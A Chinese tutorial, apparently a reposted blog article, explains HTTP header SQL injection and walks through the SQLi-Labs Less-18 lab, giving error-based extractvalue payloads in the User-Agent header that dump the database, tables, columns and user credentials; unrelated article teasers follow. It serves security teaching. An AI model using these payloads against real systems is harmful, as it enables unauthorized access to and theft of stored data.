SQL注入-HTTP头注入

目录

HTTP Header概述

HTTP Header注入

HTTP Header注入概述

HTTP Header注入实例


HTTP Header概述

HTTP工作原理

HTTP请求方法

HTTP报文类型

请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-LIne),请求头域(Header-Field)和请求体(Entity-Body)。

响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-LIne),响应头域(Header-Field)和响应体(Entity-Body)。

请求报文组成

请求报文实例

响应报文组成

HTTP响应报文实例

HTTP响应消息状态码

HTTP Header部分内容

  1. X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,通过修改XFF头可以实现伪造IP)。
  2. Client-IP:同上。
  3. Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
  4. User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
  5. Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
  6. Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号

HTTP Header注入

HTTP Header注入概述

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者
通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,通过SQL语言保存到数据库中 或者 直接提取跟数据库中的信息进行比对 由于sql语言的介入如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。 

HTTP Header注入的前提条件

  • 能对请求头消息进行修改
  • 修改的请求头信息能够带入数据库执行
  • 数据库没有对输入的请求头过滤

常见注入类型

Cookie注入 :服务器对cookie字段进行获取 验证客户端身份 

Referer注入:服务器记录referer字段用于统计网站的点击量

User-Agent注入 服务器记录访问者的信息 如浏览器版本 操作系统版本等,服务器根据提供的信息来给客户端推送不同的网页

XFF注入:一些网站的防注入功能会记录客户端真实ip地址并写入数据库


HTTP Header注入实例

目标靶机:SQL-Lab的less-18

典型应用场景:服务器获取User-Agent头部字段值,并用Insert命令将其写入数据库

注入方式:利用Burpsuite抓包,在User-Agent头部字段设置注入payload

分析源码发现虽然动态参数没有注入点 但是服务器将HTTP头部的useragent字段插入到数据库中了 于是修改useragent字段值为构造的sql语句

抓包判断注入点  在user-agent后添加一个单引号

服务器响应 ,语法有错误   并且也确定了sql报错有回显 服务器的数据库报错函数没有被屏蔽

能判断出该字段存在注入点

这个单引号与服务器端固定sql语句‘uagent’第一个单引号结合 第二个单引号引发的语法错误

添加注释也报错

原因 注释把后面所有sql注释掉了 这样就造成了 VALUES('$uagent' 

括号引发的报错 如果加上)也是不行的 

插入数据量必须是三个值 需要额外添加两个值

无报错信息 说明现在就可以在这个位置设置payload了 在第一个单引号后面设置

源码中是通过insert方式插入数据 所以不能使用union 

可以使用报错的方式进行构造sql语句

爆数据库

'and extractvalue(1,concat('~',database())),'','')#

成功爆出当前数据库

爆当前数据库所有表

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

爆user表所有字段

'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

爆字段值

'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from  security.users limit 0,1))),'','')#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/195867.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

pikachu靶场:php反序列化漏洞

pikachu靶场:php反序列化漏洞 文章目录 pikachu靶场:php反序列化漏洞代码审计漏洞利用 代码审计 像这种反序列化的代码基本都是代码审计出的 // 定义一个名为S的类,该类有一个属性$test和一个构造函数 class S{ var $test "pikachu"; // $test是一个…

汉威科技全系列VOC气体检测产品,护航绿色低碳安全发展

可能很多人都不知道,危化品爆炸、城市光化学烟雾污染(如英国伦敦烟雾事件)、城市灰霾、温室效应、臭氧层空洞等问题背后的元凶都是VOC。VOC(Volatile Organic Compounds)即挥发性有机物,这类物质易挥发,且普遍具有毒性…

flutter布局详解及代码示例(上)

布局 基本布局 Row(水平布局):在水平(X轴)方向上排列子widget的列表。Column(垂直布局):在垂直(Y轴)方向上排列子widget的列表。Stack(可重叠布…

①实现基于session的登录流程:发送验证码、登录注册、校验登陆状态

个人简介:Java领域优质创作者;阿里云技术博主、星级博主、专家博主;正在Java学习的路上摸爬滚打,记录学习的过程~ 个人主页:.29.的博客 学习社区:进去逛一逛~ 登录功能 实现 实现基于session的登录流程&…

JS:获取当前日期是本年度的第几周

问题 根据当前的日期(比如年月日),来得到当前日期属于本年度的第几周 解决 代码: // 获取当前日期是本年的第几周 //参数: a为年 b为月 c为日 function getYearWeek(a, b, c) {var date1 new Date(a, parseInt(b)…

通过火狐Firefox浏览器在设备间留言、传递备注消息

如果多台设备间没有都安装微信、飞书这种可以通过文件传输助手备注消息的APP,那么可通过火狐浏览器在设备间留言。 原理:火狐支持把当前设备的一个浏览器标签页发送到其他设备 那么我们只需要把要留言的文本记录到一个网页,然后发送到其他设…

【前端首屏加载速度优化(0): 谷歌浏览器时间参数】

DOMContentLoaded 浏览器已经完全加载了 HTML&#xff0c;DOM树构建完成&#xff0c;但是像是 <img> 和样式表等外部资源可能并没有下载完毕。 Load DOM树构建完成后&#xff0c;继续加载 html/css 中的外部资源&#xff0c;加载完成之后&#xff0c;视为页面加载完成。…

四川开启智能巡河形式,无人机水利行业应用再创新

在四川省某区域&#xff0c;复亚智能无人机系统以其独特的机场网格化部署得到成功应用&#xff0c;覆盖了该区域内多条市级、省级河流&#xff0c;成为水利行业的新亮点。这一先进系统以无人机水利行业应用为核心&#xff0c;通过网格化和信息化手段&#xff0c;实现了对水域环…

吉利展厅 | 透明OLED拼接2x2:科技与艺术的完美融合

产品&#xff1a;4块55寸OLED透明拼接屏 项目地点&#xff1a;南宁 项目时间&#xff1a;2023年11月 应用场景&#xff1a;吉利展厅 在2023年11月的南宁&#xff0c;吉利展厅以其独特的展示设计吸引了众多参观者的目光。其中最引人注目的亮点是展厅中央一个由四块55寸OLED透…

Mysql并发时常见的死锁及解决方法

使用数据库时&#xff0c;有时会出现死锁。对于实际应用来说&#xff0c;就是出现系统卡顿。 死锁是指两个或两个以上的事务在执行过程中&#xff0c;因争夺资源而造成的一种互相等待的现象。就是所谓的锁资源请求产生了回路现象&#xff0c;即死循环&#xff0c;此时称系统处于…

Jetpack Compose中适应性布局的新API

Jetpack Compose中适应性布局的新API 针对大屏幕优化的新组合件。 使用新的Material适应性布局&#xff0c;为手机、可折叠设备和平板电脑构建应用程序变得更加简单&#xff01;市场上各种不同尺寸的Android设备的存在挑战了构建应用程序时对屏幕尺寸的通常假设。开发者不应该…

AI辅助工具

任务拆解工具 Magic ToDo - GoblinTools 可用的AI搜索和对话工具&#xff1a;chatgpt 梦畅AI

《山水间的家》第二季收官,国台酒业解锁中国式浪漫

执笔 | 洪大大 编辑 | 萧 萧 近日&#xff0c;由国台酒特别支持的大型文旅探访节目《山水间的家》第二季在总台央视综合频道&#xff08;CCTV-1&#xff09;正式收官。 第二季节目以家庭为视角切入&#xff0c;先后走进江苏、四川、重庆、江西、湖北、贵州、浙江等地24个特色…

TS版LangChain实战:基于文档的增强检索(RAG) | 京东云技术团队

LangChain LangChain是一个以 LLM &#xff08;大语言模型&#xff09;模型为核心的开发框架&#xff0c;LangChain的主要特性&#xff1a; 可以连接多种数据源&#xff0c;比如网页链接、本地PDF文件、向量数据库等允许语言模型与其环境交互封装了Model I/O&#xff08;输入…

实用又好用Mybatis-Plus版的EasyCode模板

1&#xff1a;插件下载 Plugins中搜索EasyCode,并且下载安装 2&#xff1a;模板编写 2.1&#xff1a;entity.vm.java模板 ##引入宏定义 $!{define.vm}##使用宏定义设置回调&#xff08;保存位置与文件后缀&#xff09; #save("/entity", "DO.java")##使…

03 项目运行

前面两篇文章对项目架构+源码架构做了分析,这篇文章先将服务部署一下,能够让大家有个直观的感受。 组件资源 项目运行的各种组件已经为你准备好了,有需要的直接百度云盘下载: 链接:https://pan.baidu.com/s/1hN6qf20gamMHPmA_qXwsLg提取码:o4k9MySQL数据库创建 找到的…

四川天蝶电子商务有限公司真实可靠吗?

随着数字经济的不断发展&#xff0c;抖音电商服务日益成为企业拓展销售渠道、提升品牌影响力的关键一环。在这样的大背景下&#xff0c;四川天蝶电子商务有限公司凭借其专业的服务能力和创新的技术手段&#xff0c;迅速崛起为抖音电商服务领域的领军企业。 四川天蝶电子商务有限…

Ubuntu系统Springboot项目Nginx安装(编译安装方式)

1.下载 nginx官网下载 Index of /download/ 2.解压 这里我下载的1.25.3版本&#xff0c;系统是ubuntu 解压 tar -zxvf nginx-1.25.3.tar.gz 3.编译安装 安装前需要执行安装一些系统依赖 3.1安装PCRE库 ubuntu&#xff1a;执行以下命令 sudo apt-get install libpcre…

每日一练2023.11.28———N个数求和【PTA】

题目链接&#xff1a; L1-009 N个数求和 题目要求&#xff1a; 本题的要求很简单&#xff0c;就是求N个数字的和。麻烦的是&#xff0c;这些数字是以有理数分子/分母的形式给出的&#xff0c;你输出的和也必须是有理数的形式。 输入格式&#xff1a; 输入第一行给出一个正整…

【影刀RPA_写入日期到飞书表格】

飞书将日期写入多维表格&#xff0c;日期格式需要时毫秒级的时间戳才行。